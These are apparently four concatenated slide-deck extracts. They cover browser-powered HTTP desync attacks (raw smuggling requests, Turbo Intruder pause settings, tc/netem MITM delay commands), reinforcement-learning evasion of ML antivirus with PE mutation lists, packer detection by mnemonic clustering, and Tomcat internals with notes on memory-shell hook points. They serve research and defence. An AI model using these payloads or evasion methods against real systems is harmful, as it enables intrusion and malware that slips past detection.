non-cacheable redirect: 1. Navigate to target page 2. Guess when the page has loaded 3. Create some poisoned connections 4. Hope a JS import uses a poisoned connection Making it plausible: • Pre-connect to normalise target page load time • Combine with window for multiple attempts • Identify page with non-cacheable JS import Pause-based desync Pause-based desync POST /admin HTTP/1.1 Content-Length: 41 GET /404 HTTP/1.1 Foo: bar HTTP/1.1 403 Forbidden HTTP/1.1 404 Not Found ⌛ 10s ⌛ wait for response if (req.url ~ "^/admin") { return (synth(403, "Forbidden")); } Redirect 301 /redirect /destination GET / HTTP/1.1 Host: example.com Server-side pause-based desync POST /admin HTTP/1.1 Content-Length: 23 GET /404 HTTP/1.1 X: Y HTTP/1.1 403 Forbidden HTTP/1.1 404 Not Found ⌛ 10s Front-end ⌛ 20s Varnish/Apache Requirement: Front-end forwards request headers without waiting for body Turbo Intruder queue() arguments: pauseTime=20000, pauseBefore=-41, pauseMarker=['GET'] GET / HTTP/1.1 Host: example.com -reset- Pause-based desync with ALB POST /admin HTTP/1.1 Content-Length: 23 GET /404 HTTP/1.1 X: Y HTTP/1.1 403 Forbidden ⌛ 10s ⌛ 20s POST /admin HTTP/1.1 Content-Length: 23 GET /404 HTTP/1.1 X: Y GET / HTTP/1.1 Host: example.com HTTP/1.1 403 Forbidden HTTP/1.1 404 Not Found ⌛ 10s ⌛ 10s Pause-based desync with matching timeouts POST /admin HTTP/1.1 Content-Length: 23 GET /404 HTTP/1.1 X: Y GET / HTTP/1.1 Host: example.com HTTP/1.1 403 Forbidden HTTP/1.1 404 Not Found ⌛ 60s ⌛ 60s ⌛ 60s Zero-padding chunk size Stripped chunk extensions TCP duplicate packet TCP out-of-order packet 66-hour attack Client-side pause-based desync via MITM POST /admin HTTP/1.1 Content-Length: 28 GET /404 HTTP/1.1 X: PADPAD HTTP/1.1 403 Forbidden HTTP/1.1 404 Not Found ⌛ 60s ⌛ 61s The theory: • Attacker website sends request, padded to cause TCP fragmentation • MITM identifies the TCP packet containing the request body via the size • MITM delays this packet, causing a server timeout & pause-based desync • The delayed packet is then interpreted as a new message MITM 🔒 GET / HTTP/1.1 Host: example.com MITM-based desync using Traffic control # Setup tc qdisc add dev eth0 root handle 1: prio priomap # Flag packets to 34.255.5.242 if between 700 and 1300 bytes tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \ match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \ and 'cmp(u16 at 2 layer network gt 0x02bc)' \ and 'cmp(u16 at 2 layer network lt 0x0514)' \ flowid 1:3 # Delay flagged packets by 61 seconds tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s Demo: Breaking HTTPS on Apache Varnish CVE-2022-23959 2021-12-17: Reported 2022-01-25: Patched in 7.0.2/6.6.2 Apache CVE-2022-22720 2021-12-17: Reported 2022-03-14: Patched in 2.4.53 • Use HTTP/2 end to end • Don’t downgrade/rewrite HTTP/2 requests to HTTP/1 • Don't roll your own HTTP server, but if you do: • Never assume there's no Content-Length • Default to discarding the socket • Don't attach state to a connection Defence References & further reading Whitepaper, slides & academy topic https://portswigger.net/research/browser-powered-desync-attacks https://portswigger.net/web-security/request-smuggling/browser Source code @ github PortSwigger/http-request-smuggler PortSwigger/turbo-intruder References & further reading: HTTP Desync Attacks: https://portswigger.net/research/http-desync-attacks HTTP/2 Desync Attacks: https://portswigger.net/research/http2 HTTP Request Smuggling: https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf HTTP Request Smuggling in 2020 - https://www.youtube.com/watch?v=Zm-myHU8-RQ Response Smuggling - https://www.youtube.com/watch?v=suxDcYViwao Client-side desync Pause-based desync ConnecXon-state probe CL.0 desync Connection-state SSRF CL.0 desync CSD request capture CSD cache poisoning Pause-based CL.0 Practice labs Scan Internal Server Error Exploiting Inter-Process Communication in SAP's HTTP Server Airing today at 1330 by Martin Doyhenard You might also like: The request is a lie No front-end is no escape All you need is a server taken by surprise @albinowax Email: james.ke8le@portswigger.net Takeaways
pdf
Evading next-gen AV using A.I. Hyrum Anderson hyrum@endgame.com @drhyrum /in/hyrumanderson The Promise of Machine Learning • Learn from data what constitutes malicious content or behavior • Discriminatory patterns learned automatically, not obviously constructed by hand • Generalize to never-before-seen samples and variants… • …so long as data used for “training” is representative of deployment conditions • motivated adversaries actively trying to invalidate this assumption x1 rule malware { strings: $reg = “\\CurrentVersion\\Internet Settings” condition: filesize < 203K and #reg > 3 } Goal: Can You Break Machine Learning? § Static machine learning model trained on millions of samples x1 Machine Learning Model score=0.75 (malicious, moderate confidence) • Simple structural changes that don’t change behavior Machine(Learning( Model score=0.49 (benign, just barely) • unpack • ‘.text’ -> ‘.foo’ (remains valid entry point) • create ‘.text’ and populate with ‘.text from calc.exe’ Adversarial Examples • Machine learning models have blind spots / hallucinate (modeling error) • Depending on model and level of access, they can be straightforward to exploit • e.g., deep learning is fully differentiable (directly query what perturbation would best bypass model) • Adversarial examples can generalize across models / model types (Goodfellow 2015) • blind spots in YOUR model may also be blind spots in MY model (scaled(for(visibility) image(credit:(http://www.popsci.com/byzantine-science-deceiving-artificial-intelligence Taxonomy of Attacks Against ML • …can get a score • black box… • …but can arbitrarily probe and get a score • score = raw output / confidence before thresholding for good/bad • …has your model • architecture & weights are known • a direct attack on your model • “easy” for deep learning • gradient perturbation • dueling models / GAN • …can get good/bad • black box… • …but can arbitrarily probe and get a label • label = malicious / benign • also a viable solution for traditional AV scanners An(adversary… [for(Android(malware]( (Papernot et(al.(2016) [for(DGA(detection]( (Anderson(et(al.(2016) EvadeML [for(PDF(malware]( (Xu,(Qi,(Evans,(2016) MalGan [PE:(known(features] (Hu,((Tan,(2017) difficulty for adversary to bypass adversary’s knowledge about your model Related work: full access to model 0.1 … x … … + = Bus (99%), Ostrich (1%) Same conditions exist for approaches based on generative adversarial networks BUT… 0.1 … x … … + != modified bytes or features break PE format destroy function Attack: Query deep learning model: what change will be most dramatic reduction in score? (gradient) Malware variant not a PE file Change in file breaks behavior Malware (90%), Benign (10%) Related work: attack score-reporter Black(Box(AV (produces( score) Genetic algorithm Attack: Mutate malware with benign structure to bypass AV Mutations may break behavior Kill strains that break format or change behavior (sandbox; expensive) oracle(/( sandbox EvadeML [for PDF malware] (Xu, Qi, Evans, 2016) functional broken Summary of Previous Works Gradient-based attacks: perturbation or GAN • Attacker requires full knowledge of model structure and weights • Or can train a mimic model • Presents worst-case attack to the model • Generated sample may not be valid PE file Genetic Algorithms • Requires only score from black box model • Oracle/sandbox [expensive] needed to ensure that functionality is preserved Goal: Design an AI that chooses format- and function-preserving mutations to bypass black-box machine learning. Reinforcement Learning! Atari Breakout Nolan Bushnell, Steve Wozniak, Steve Bristow Inspired by Atari Pong "A lot of features of the Apple II went in because I had designed Breakout for Atari” (The Woz) Game • Bouncing ball + rows of bricks • Manipulate paddle (left, right) • Reward for eliminating each brick Atari Breakout: an AI • Environment • Bouncing ball + rows of bricks • Manipulate paddle (left, right) • Reward for eliminating each brick • Agent • Input: environment state (pixels) • Output: action (left, right) • Feedback: delayed reward (score) • Agent learns through 1000s of games what action to take given state of the environment https://gym.openai.com/envs/Breakout-v0 Anti-malware evasion: an AI • Environment • A malware sample (Windows PE) • Buffet of malware mutations • preserve format & functionality • Reward from static malware classifier • Agent • Input: environment state (malware bytes) • Output: action (stochastic) • Feedback: reward (AV reports benign) The Agent’s State Observation Features • Static Windows PE file features compressed to 2350 dimensions • General File Information • Machine/OS/linker info • Section characteristics • Imported/exported functions • Strings • File byte and entropy histograms • Fed to neural network to choose choose the best action for the given “state” (Deep Q-Learning) The Agent’s Manipulation Arsenal Functionality-preserving mutations: • Create • New Entry Point (w/ trampoline) • New Sections • Add • Random Imports • Random bytes to PE overlay • Bytes to end of section • Modify • Random sections to common name • (break) signature • Debug info • UPX pack / unpack • Header checksum • Signature The Machine Learning Model Static PE malware classifier • gradient boosted decision tree (non- differentiable) • need not be known to the attacker • for demo purposes, we reuse feature extractor employed by the agent to represent “state” • present an optimistic situation for the agent Machine learning malware model (w/ source!) for demo purposes only. Resemblance to Endgame or other vendor models is incidental. Game Setup Environment • No concept of “you lose, game over” • artificially terminate game after max_turns unless unsuccessful • GBDT Model trained on 100K benign+malicious samples Agent • Agent #1: gets score from machine learning malware detector • Agent #2: gets malicious/benign label • Double DQN with dueling network with replay memory Shall we play a game? Expectation Management • Agent has no knowledge about AV model (black box) • Agent receives incomplete • Agent has limited (and stochastic) actions …but AV engines conservative to prevent FPs, so maybe there’s a chance… Ready,'Fight! Evasion Results 15 hours to do 100K trials (~10K episodes x 10 turns each) *Warning* Long episodes can “overattack” to specific model 0 0.02 0.04 0.06 0.08 0.1 0.12 0.14 black(box(w/(scores black(box( random(mutations Evasion(rate(from(200(holdout(samples add_section, add_section, add_section, add_section, add_section Model Hardening Strategies Adversarial training • Train with new evasive variants Feedback to the human category evasion % dominant action sequence ransomware 3% unpack->add section->change entrypoint backdoor 1% pack (low entropy)->add imports We’re releasing code gym-malware OpenAI environment https://github.com/drhyrum/gym-malware Agent • Preliminary DQN agent for playing game • [contribute] improve actions, improve RL agent Environment • [provided] Manipulations written via LIEF to change elements of a PE file • [provided] Feature extraction via LIEF to convert raw bytez into environment “state” • [you provide] API access to AV engine you wish to bypass (default: attack toy mode that is provided) • [you provide] Malware samples for training and test Summary • Machine Learning Models quite effective at new samples • But all models have blind spots that can be exploited • Our ambitious approach • Craft a game of bot vs. AV engine • Variants guaranteed to preserve format and function of original • No malware source code needed • No knowledge of target model needed • Only modest results. Make it better! https://github.com/drhyrum/gym-malware Thank(you! Hyrum Anderson Technical Director of Data Science hyrum@endgame.com @drhyrum /in/hyrumanderson Co-contributors: Anant Kharkar, University of Virginia Bobby Filar, Endgame Phil Roth, Endgame
pdf
I am packer and so can you Mike Sconzo Agenda* *Powered by business synergy It’s all about me! •  Threat Research at Bit9 + Carbon Black •  Enjoy static analysis, machine learning, network forensics, and eating BBQ and pie (yes, I live in TX) •  SecRepo.com •  @sooshie What’s the problem? Detecting packers, compilers and various artifacts from the development cycle can be really useful when looking at malware or files in general. However, the de facto standard (PEiD) was created over 10 years ago, and there are very few recent signature updates. Is it time for something new and different? Moar? •  Zero (or near zero) trust in prior solutions •  Approach this from a clustering perspective •  Easy to generate signatures •  Non-experts want to play too •  Cross platform •  <Insert Mac Fanboi Statement> •  Simple to understand and extend •  Fuzzy Matching (similarity) •  Understand signature overlap •  Percent of each signature matched Refresher Terms, File Structure, 101 PE Simplified PE format Things we care about (today) •  LinkerMajorVersion •  LinkerMinorVersion •  NumberOfSections Tool chain   Set of tools used to develop software   IDE   Compiler   Linker   Etc…   This talk will touch on compiler/build environment detection   Information provided by the linker, etc… will also be used Packer •  “Program within a program” •  Generally used to compress or obfuscate PE information •  Evade AV •  Make static analysis harder Packers, their parts.   Packer   Compresses/obfuscates the original executable and creates a new executable complete with decompression/deobfuscation code Unpacker A.k.a Stub   Run when the new executable is executed and is responsible for producing the original executable Unpackers, how do they work?   Take control of AddressOfEntryPoint   Run the unpacking routine   Find the packed data   Restore the data contents   Perform relocation fixes   Resolve imports since the original executable isn’t being loaded by the Windows loader   Jump into the original program http://www.stonedcoder.org/~kd/lib/61-267-1-PB.pdf The popular kids PEiD   “PEiD detects most common packers, cryptors, and compilers for PE files.”   YARA   “YARA is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples”   RDG Packer Detector   “RDG Packer Detector is a detector of packers, cryptors, Compilers, Packers Scrambler, Joiners, Installers” Back to Reality (Data) Now on to the more exciting stuff, even though it’s ugly at times. Data   3977 PEiD signatures used for testing   File sets   Sony – 9 Executables   Chthonic – 11 Executables Backoff – 22 Executables   Volatile Ceader – 36 Executables Carbanak – 74 Executables   APT1 – 281 Executables ZeuS – 6774 Executables   Random – 411340 Executables Data analysis   Basic exploration of the ZeuS dataset   Some of the possible attributes/features we can look at   Clustering ZeuS + PEiD PEiD Label Count None 4600 UPX v0.89.6 - v1.02 / v1.05 -v1.24 -> Markus & Laszlo [overlay] 781 UPX 2.90 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser 318 PureBasic 4.x -> Neil Hodgson 267 Microsoft Visual Basic v5.0/v6.0 166 Armadillo v1.71 164 Microsoft Visual C++ 8 148 UPX 2.93 - 3.00 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser 61 MingWin32 v?.? (h) 45 Microsoft Visual C++ 7.0 MFC 44 ZeuS + PEiD Samples per PEiD signature ZeuS + PEiD Correlation between the PEiD signatures Highly correlated ASPack v2.12 ASPack v2.12 -> Alexey Solodovnikov 1.0 ASPack v2.12 ASProtect V2.X DLL -> Alexey Solodovnikov 1.0 PDB strings   C:\Users\Samim\Desktop\Stab\stb\Release\stb.pdb   Y:\DnijJVgd\pitWxRX\ctoerrwx\RtpjVeb.pdb   H:\RJmq\HYkAuHH\lsvyudBS\yMgpHF\obzwwn.pdb   C:\answer\record\These\Answer\Dry\Lay\since\Since\mean\Tree \Music.pdb   X:\DEVELOPMENT\VC++\Cryptor_Evolution_old\release\main.pdb   c:\temp\debug.pdb   F:\zmapHjyf\tGQkckQ\UrmgircgraBwwX\nAjaGbB.pdb   C:\Users\M4x\Documents\Programmieren\PECRYPT\Client \EXECUTABLE\Stub\Release\Stub.pdb Linker versions Major.Minor Linker Versions Count 2.50 2067 10.0 1064 9.0 793 6.0 717 5.0 235 5.12 231 8.0 201 7.10 155 0.0 85 1.1 73 ASM mnemonics Symbolic name for a machine instruction All mnemonics are treated equally from this point forward •  add •  mov •  nop •  xor •  … Johnny 5 is alive! Yes. Disassemble. Capstone Engine   Standardize on one disassembler for consistent results   Free   Awesome   Multi-Language support   Cross Platform ZeuS + ASM Just because we can, doesn’t mean we should It’s important ASM   Mnemonics describe program behavior   Mnemonics at AddressOfEntryPoint describe initial program behavior   Compiler setup Unpacker stub   Use this as the basis for a signature Sets   Correlation   Doesn’t take order into account   Doesn’t really help with distance or similarity Jaccard Distance   Doesn’t take order into account   Distance is based on set membership Levenshtein Distance   Edits determine distance   Position is important Jaccard ['pushal', 'mov', 'lea', 'push', 'jmp', 'nop', 'mov', 'inc', 'mov', 'inc'] ['push', 'mov', 'add', 'push', 'mov', 'call', 'mov', 'mov', 'call', 'mov'] Total #of shared elements/Total # of unique elements [mov push] / [pushal mov lea jump nop inc push add call] 2/8 = .25 Levenshtein ['pushal', 'mov', 'lea', 'push', 'jmp', 'nop', 'mov', 'inc', 'mov', 'inc’] ['push', 'mov', 'add', 'push', 'mov', 'call', 'mov', 'mov', 'call', 'mov'] How many things have to change to make the bottom into the top. [yes no yes no yes yes no yes yes yes] yes = 7 Distance = 7 But…   Code is executed in order   There might be branches   Shouldn’t the ASM mnemonics to the ‘left’ be worth more than the ones on the ‘right’   Where’s the cutoff   How many instructions should we care about   What’s the size of the stub Enter our superhero (Tapered Levenshtein) Tapered levenshtein Position dependent, left edits have a higher weight than right edits ['pushal', 'mov', 'lea', 'push', 'jmp', 'nop', 'mov', 'inc', 'mov', 'inc’ ['push', 'mov', 'add', 'push', 'mov', 'call', 'mov', 'mov', 'call', 'mov’] 1 - (position/len(set)) 1, 0, .8, 0, .6, .5, 0, .3, .2, .1 3.5 (vs. 7 on the non-tapered version) Now we’re ready to science •  PE files •  MajorLinkerVersion •  MinorLinkerVersion •  Assembly mnemonics •  Fancy algorithms Workflow 1.  Gather samples 2.  Static analysis 1.  PEiD 2.  Disassemble 3.  Header features 3.  Cluster 4.  Closeness according to distance metric (> 90% similar) 1.  Use banded minhash for < O(n2) comparisons 5.  Analyze based on cluster groups using 30 mnemonics 1.  30 mnemonic chain length is based on prior research and exploration 6.  Create Signatures Demo Please accept our chicken sacrifice, Demo Gods. XXX-mac:packerid XXXX$ python ./mmpes.py -s ./test.sig -v -t 0.0 ~/data/APT1/ VirusShare_01e0dc079d4e33d8edd050c4900818da [*] Processing: /Users/XXX/data/APT1/VirusShare_01e0dc079d4e33d8edd050c4900818da [TEST] (Edits: 4.66666666667 | Similarity: 0.844) (Minor Linker Version Match: True | Major Linker Version Match: True | Number Of Sections Match: False) ['push', 'mov', 'push', 'push', 'push', 'mov', 'push', 'mov', 'sub', 'push', 'push', 'push', 'mov', 'and', 'push', 'call', 'pop', 'or', 'or', 'call', 'mov', 'mov', 'call', 'mov', 'mov', 'mov', 'mov', 'mov', 'call', 'cmp'] ['push', 'mov', 'push', 'push', 'push', 'mov', 'push', 'mov', 'sub', 'push', 'push', 'push', 'mov', 'call', 'xor', 'mov', 'mov', 'mov', 'and', 'mov', 'shl', 'add', 'mov', 'shr', 'mov', 'push', 'call', 'pop', 'test', 'jne'] XXX-mac:packerid XXX$ python ./mmpes.py -s ./test.sig -v -t 0.0 ~/data/APT1/ VirusShare_002325a0a67fded0381b5648d7fe9b8e [*] Processing: /Users/XXX/data/APT1/VirusShare_002325a0a67fded0381b5648d7fe9b8e [TEST] (Edits: 0.0 | Similarity: 1.000) (Minor Linker Version Match: True | Major Linker Version Match: True | Number Of Sections Match: True) ['push', 'mov', 'push', 'push', 'push', 'mov', 'push', 'mov', 'sub', 'push', 'push', 'push', 'mov', 'and', 'push', 'call', 'pop', 'or', 'or', 'call', 'mov', 'mov', 'call', 'mov', 'mov', 'mov', 'mov', 'mov', 'call', 'cmp'] ['push', 'mov', 'push', 'push', 'push', 'mov', 'push', 'mov', 'sub', 'push', 'push', 'push', 'mov', 'and', 'push', 'call', 'pop', 'or', 'or', 'call', 'mov', 'mov', 'call', 'mov', 'mov', 'mov', 'mov', 'mov', 'call', 'cmp'] Signatures   [Microsoft Visual Basic v5.0] mnemonics = push,call,add,add,add,xor,add,inc,add,add,add,add,adc,dec,mov,adc,add,add,add,add,or,imul,push,and,and   File mnemonics = push,call,add,add,add,xor,add,inc,add,add,add,add,jmp,dec,mov,xor,add,add,add,add,add,add,dec,jnp,add   Results   [Microsoft Visual Basic v5.0] (Edits: 2.93333333333 | Similarity: 0.902) APT1 Because first APT is best APT https://blog.kaspersky.com/files/2013/06/apt_title.jpg APT 1 PEiD vs. ASM APT 1 Cluster on 30 ASM Mnemonics APT 1 Sub-clustered on number of sections APT 1 Sub-clustered on linker versions APT 1 Sub-clustered on both ZeuS Malware or Greek God? ZeuS PEiD vs. ASM ZeuS Cluster on 30 ASM Mnemonics ZeuS Sub-clusters on number of sections ZeuS Sub-clustered on linker versions ZeuS Sub-clustered on both Random files Are random Random ASM Fun fact   346680 out of 411340 files don’t meet the similarity requirement*   No 2 files are at least 90% similar *Actual number may be lower Random Cluster on 30 ASM Mnemonics Random Sub-clustered on linker versions Random – Non-Unlabeled Sub-clustered on linker versions Random Sub-clustered on number of sections Random – Non-Unlabeled Sub-clustered on number of sections Random Sub-clustered on both Random – Non-Unlabeled Sub-clustered on both Google Chrome AKA Why linkers and sections are important   97 files match the ASM signature   ['call’, 'jmp’, 'int3’, 'int3’, 'int3’, 'int3’, 'int3’, 'int3’, 'int3’, 'int3’, 'int3’, 'int3’, 'int3’, 'int3’, 'cmp’, 'jae’, 'cmp’, 'jae’, 'shrd’, 'shr’, 'ret’, 'mov’, 'xor’, 'and’, 'shr’, 'ret’, 'xor’, 'xor’, 'ret’, 'int3']   95 have the same linker version: 10.0   2 have a linker version of 11.0   94 have the same number of sections: 6   Two have 4 sections, one has 5 sections   94 binaries have BOTH a linker version of 10.0 AND 6 sections   All 94 are signed Google Chrome binaries UPX Because somebody was going to ask   7469 files packed with UPX (looked for UPX0, UPX1, or UPX! in the file)   65 different groups identified   Includes everything that didn’t match anything else (catch all) – 76 samples   31 unique linker versions   13 unique number of sections   6902 have 3 sections Group Label Count 2 3564 1 1694 0 821 25 305 24 297 83 113 123 111 UPX PEiD vs. ASM UPX numbers PEiD Label Count UPX 2.93 - 3.00 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser:UPX 3.02:UPX v3.0 (EXE_LZMA) -> Markus Oberhumer & Laszlo Molnar & John Reiser 3453 UPX 2.90 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser 1626 UPX v0.89.6 - v1.02 / v1.05 -v1.24 -> Markus & Laszlo [overlay] 1121 None 506 UPX v0.89.6 - v1.02 / v1.05 -v1.22 (Delphi) stub 297 Group Label Count 2 3564 1 1694 0 821 25 305 24 297 Solution recap   Easy to generate signatures   Python script with minimal dependencies   It involves Math, who doesn’t love Math?   Cross platform.   Python works everywhere, right?   Easy to understand…ish   It Works! Future work   The int3s are a side effect of the compiler adding bytes between functions or keeping aligned addresses ( http://hooked-on-mnemonics.blogspot.com/2013/08/ exploring-functions-with-undefinderpy.html) Questions I’m done References   Capstone Engine PEFile   Tapered Levenshtein ZeuS dataset   APT1 dataset
pdf
S-再看tomcat架构与请求处理流程 tomcat核心功能 1. http服务器,socket通信(TCP/IP) 2. servlet容器 http服务器--coyote 1. EndPoint组件:用于处理连接请求,也就是接收客户端发来的请求 2. Processor组件:用于应用层处理http请求,封装http报文。 server.xml 配置文件 Tomcat启动过程源码剖析 <?xml version="1.0" encoding="UTF-8"?> <Server port="8005" shutdown="SHUTDOWN">  <Listener className="org.apache.catalina.startup.VersionLoggerListener" />  <Listener className="org.apache.catalina.core.AprLifecycleListener" SSLEngine="on" />  <!-- Prevent memory leaks due to use of particular java/javax APIs-->  <Listener className="org.apache.catalina.core.JreMemoryLeakPreventionListener" />  <Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener" />  <Listener className="org.apache.catalina.core.ThreadLocalLeakPreventionListener" />  <GlobalNamingResources>    <Resource name="UserDatabase" auth="Container"              type="org.apache.catalina.UserDatabase"              description="User database that can be updated and saved"              factory="org.apache.catalina.users.MemoryUserDatabaseFactory"              pathname="conf/tomcat-users.xml" />  </GlobalNamingResources>  <Service name="Catalina">    <Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" />    <Engine name="Catalina" defaultHost="localhost">      <Realm className="org.apache.catalina.realm.LockOutRealm">        <Realm className="org.apache.catalina.realm.UserDatabaseRealm" resourceName="UserDatabase"/>      </Realm>      <Host name="localhost"  appBase="webapps" unpackWARs="true" autoDeploy="true">        <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"               prefix="localhost_access_log" suffix=".txt"               pattern="%h %l %u %t &quot;%r&quot; %s %b" />      </Host>    </Engine>  </Service> </Server> tomcat统一生命周期管理 接口类 java.org.apache.catalina.Lifecycle ,以及继承结构关系。 tomcat启动流程 启动类: java.org.apache.catalina.startup.Bootstrap#main() 初始化: bootstrap.init()->initClassLoaders()->自定义类加载器 ,在之前学习类加载的过程 当中,学习了关于 tomcat 重写类加载器的过程,通过重写 findClass,loadClass 打破了双亲委 派模型,实现了自定义的类加载。 最终是通过 ClassLoaderFactory.createClassLoader 来创建类加载器,首先是创建 common 类 加载器,可以看到传递的 parent 类是空。之后再将这个 common 当作父加载器,初始化其他两个 类加载器。 初始化2-load:初始化之后就是 load 的过程。 Bootstrap#load() - > org.apache.catalina.startup.Catalina#load() ,中间都是通过反射进行调用。 第545行通过 configFile 方法获取 tomcat 的配置文件 conf/server.xml 。 初始化3-start:完成 load() 过程, Bootstrap 执行到 start 方法当中,进行启动。 load 过程用 于初始化, start 进行启动。 初始化阶段-daemon.load(args) 调试入口: java.org.apache.catalina.startup.Bootstrap#main()->daemon.load() java.org.catalina.startup.Catalina#load() 方法中,有一步 Digester digester = createStartDigester(); 创建一个 xml 解析对象,然后再使用 digester.parse() 进行 xml 正 式的解析,解析成功之后,返回一个对象。关于对象的创建可以看第二张图,通过扫描 xml 的节 点,然后通过 java.org.apache.tomcat.util.digester#ObjectCreateRule() 方法调用反射 创建对象。 在成功返回 root 节点之后,执行 getserver().init() ,对 server 进行初始化。这个 init() 方法是 LifecycleBase#init() 方法,所有的组件都继承实现 Lifecycle 生命周期接口,用于实 现生命周期管理。之后再进入 standardserver 的 initInternal 方法进行初始化。在该方法中 实现对 service 的初始化,流程和 sever 一致。 service的初始化,前期也是生命周期管理,然后进入到 StandardService#initInternal() , 在 service 中包含 connector 和 container ,因此初始化的过程需要完成连接器和容器两个组件 的初始化。 首先还是 engine.init() ,先是生命周期初始化,然后转到 StandardEngine#initInternal() -> super.initInternal() 。engine组件的初始化,创建一 个线程池,这个线程池在engine组件的start阶段使用,在初始化阶段不进行 engine 的初始化。 再然后连接器初始化 connector.init() - > java.org.apache.catalina.connector.Connector#initInternal() ,先是创建一个 CoyoteAdapter 适配器,将之后得到的 Request 和 Response 转换为 servletRequest 和 servletResponse 对象。之后进入到 protocolHandler.init() ,在 protocolHandler.init() 中进行 endpoint.init() ,就是进行端口绑定,然后接收请求。 初始化阶段总结图 启动阶段->daemon.start() 最开始的步骤和 load 阶段非常类似,着重点放在 engine.start() 之后。 StandardService#engine.start() -> LifyecycleBase#start() - > StandardEngine#startInternal() -> super(ContainerBase).startInternal() 。通过 findChildren(); 找到定义的子容器封装为 StandardHost 对象。之后通过 submit 方法,执行线 程池。 进入 standardHost#start() 流程还是一样的,所以这里直接来到 StandardHost#startInternal() ,首先会获取server.xml定义的阀和基础阀,然后看里面有没 有errorValve,没有的话添加一个。然后在进入 super.startInternal(); ,也就是 ContainerBase.startInternal() 。 在 ContainerBase.startInternal() 首先关注 StandardPipeline 的初始化,就是刚才定义的 几个阀的启动。阀启动完之后进入 setState(LifecycleState.STARTING); ,正儿八经的启动过 程。 setState(LifecycleState.STARTING); 是通过设置生命周期状态,通过触发host的生命周期时 间 fireLifecycleEvent 来执行后续实例化 Contenxt 的工作。 setState(LifecycleState.STARTING) -> LifecycleBase#setStateInternal() - > LifecycleBase#fireLifecycleEvent -> HostConfig#lifecycleEvent() 这个 HostConfig 是一个生命周期监听器,当捕获到启动事件,进入到 HostConfig#Start() 方 法。之后进入到 HostConfig#deployApps() 方法,这个方法便是项目包的部署。 deployApps() 可以部署不同种类的 Context ,可以是 war 包形式,可以是文件夹形式。进入 deployDirectories#run() 。第1087行,还是以多线程的方式去启动不同的 context 。进入到 deployDirectories#run() -> HostConfig.deployDirectory() ,最后一步 host.addChild(context); ,将 context 添加到 Host 当中。此时的 Context 不完整需要进一步 封装 Wrapper 。 进入 host.addChild() -> super(ContainerBase).addChild(child) -> addChildInternal - > LifecycleBase#start() -> StandardContext#startInternal 。 在这个 StandardContext#startInternal 经过处理,关键部分在 fireLifecycleEvent(Lifecycle.CONFIGURE_START_EVENT, null); ,发出生命周期事件,调 度 ContextConfig ,读取 web.xml ,这里也就是读取某一个项目的 web.xml ,这个 ContextConfig 也是一个事件监听器。 进入到 configureStart() 然后执行 webConfig() 解析 web.xml ,解析过程中就会封装 wrapper ,通过 configureContext(webXml) 来创建,其中创建 wrapper 的过程有用到 StandardContext.creatwrapper ,这个也是 sevlet 内存马的关键地方。 当整个生命周期的过程结束,回到 StandardContext.startInternal ,查看已经封装好的 wrapper 。此处已经有了 wrapper 的信息,但是还没有创建 wrapper 实例,继续执行到 loadOnStartup(findChildren()) 。首先判断是否在tomcat启动过程中创建实例,也就是 web.xml 中的 startup 参数配置是否大于0。将全部大于0的servlet放入list当中,然后进入 wrapper.load() 创建实例。到此呢 engine.start 的过程基本结束。 初始化阶段总结图 servlet请求链路分析 问题 一个 Servlet 请求是如何被 tomcat 处理的?-->找到能处理当前请求的 servlet 实例。 请求处理分析流程需要关注的是 start 过程中的 Connector 过程,其中有一个 Poller 线程,用 于监听可以被处理的 channel ,因此这个是请求处理的入口。 经过中间过程的处理,最后通过 org.apache.coyote.http11.Http11Processor.java 开始封 装 request 和 response 两个对象。 之后将 request 和 response 两个请求交给 adapter 进行处理,将 request 和 response 转换 servletRequest 和 servletResponse 重点来了:找到能够处理当前请求的 servlet 容器,在这个 postParseRequest 方法中会根据请 求信息找到能够处理当前请求的 HOST->CONTEXT->WRAPPER(servlet) ,他又是如何找到的呢?引 入 tomcat 的 Mapper 机制。 在 tomcat 中使用 Mapper 重新封装了 Host-Context-wrapper 之间的数据和关系。这个 Mapper 的 封装位置位于启动阶段,在 engine 和 connector 启动完成之后。通过一个 MapperListen 启 动。 进入到 postParseRequest 方法之后,关键代码是 connector.getService().getMapper().map(serverName,decodedURI,version,request.g etMappingData()); 单独拆解各个函数的作用。 connector.getService() 获取当前的 service ,然后通过 getMapper() 获取到之前封装好的 Mapper 对象,也就是获取到 Host-Context-Wrapper 之间的对 应关系。之后就是进入这个 map 方法。整个处理逻辑结束之后,会将处理结果填充到 reqquest.getMappingData() 获取的对象当中。 在 map 方法中调用了 internalMap() 方法。在这里会找到 uri 和 servlet 的映射关系。在 internalMap() 中最开始是根据 uri 与 context 找到对应的关系,这个 context.versions 就封 装了这个 context 内部的全部 wrapper 和一些配置文件设置,然后在进入 internalMapWrapper() 查找对应的 wrapper`之间的关系。 internalMapWrapper() 方法中进行 wrapper 的查找,重要的是进入 internalMapExactWrapper() 方法当中,因为这个匹配会成功,在里面也填充了 mappingData 属性。 在上述的 postParseRequest 解析完成之后,就开始调用容器进行处理了。 上面这一步会进入到Engien层,去寻找Host 进入Engien之后又会去寻找Host 最后来到Context层,最后调用servlet进行处理 执行 servlet 的过程是 StandardWrapperValve.java 第173行,将servlet封装进入filterChain中一起执行. 执行filterChain,这一步也就是执行servlet 这里有一个,就是整个容器处理的流程都是以 管道 和 阀 的机制来进行的,这个 valve 也是实现内 存马的一个重要的方法。
pdf
